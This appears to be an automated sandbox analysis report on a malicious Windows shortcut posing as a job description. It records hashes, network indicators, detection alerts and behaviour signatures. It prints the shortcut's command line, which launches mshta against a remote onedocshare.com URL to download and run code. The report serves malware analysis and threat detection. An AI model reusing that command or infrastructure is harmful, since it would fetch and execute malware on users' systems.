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FiCas AG Job Description.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API DNS Http API Steal credential ScreenShot Sniff Audio GIF Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 29, 2021, 9:50 a.m. Oct. 29, 2021, 9:54 a.m.
Size 209.1KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Working directory, Has command line arguments, Icon number=1, Archive, ctime=Thu May 13 03:13:51 2021, mtime=Mon Oct 11 20:50:50 2021, atime=Thu May 13 03:13:51 2021, length=289792, window=hide
MD5 3c324706e3bae0b7187b134a813011cb
SHA256 38ed248501bd35cd140f8376ac42e2c5a46ed4ec71cff0cec290fbc93678f323
CRC32 C6CA27A7
ssdeep 6144:v+qXdu/Oj/y1zKxYNg/lnxFEMEZnAgqYWAyUCBJ:v+6d1jqV+nxkAqWAy1
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format

Name Response Post-Analysis Lookup
apps.identrust.com
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 23.65.188.19
A 23.65.188.16
23.216.159.81
note.onedocshare.com
A 149.28.162.113
149.28.162.113
IP Address Status Action
149.28.162.113 Active Moloch
164.124.101.2 Active Moloch
23.65.188.19 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49176 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49171 -> 149.28.162.113:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49176
149.28.162.113:443 		None None None
TLSv1
192.168.56.103:49171
149.28.162.113:443 		C=US, O=Let's Encrypt, CN=R3 CN=onedocshare.com 81:b5:79:98:5d:c2:83:1c:d0:dd:b4:eb:1e:1e:14:84:f5:bc:5f:43

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://apps.identrust.com/roots/dstrootcax3.p7c
request GET https://note.onedocshare.com/seZlG2VYJ6l05Yn4tvYj93t9eK3OX72pIMiW95JlhDY=
file C:\Users\test22\AppData\Local\Temp\FiCas AG Job Description.lnk
cmdline "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://note.onedocshare.com/seZlG2VYJ6l05Yn4tvYj93t9eK3OX72pIMiW95JlhDY=
cmdline C:\Windows\System32\mshta https://note.onedocshare.com/seZlG2VYJ6l05Yn4tvYj93t9eK3OX72pIMiW95JlhDY=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2348
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef70000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
url https://note.onedocshare.com/seZlG2VYJ6l05Yn4tvYj93t9eK3OX72pIMiW95JlhDY=
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Steal credential rule local_credential_Steal
description Communications use DNS rule Network_DNS
description Match Windows Inet API call rule Str_Win32_Internet_API
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Run a KeyLogger rule KeyLogger
description Communications over FTP rule Network_FTP
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002c0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Process injection Process 2452 resumed a thread in remote process 2596
Process injection Process 2596 resumed a thread in remote process 2348
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000002ec
suspend_count: 1
process_identifier: 2596
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2348
1 0 0
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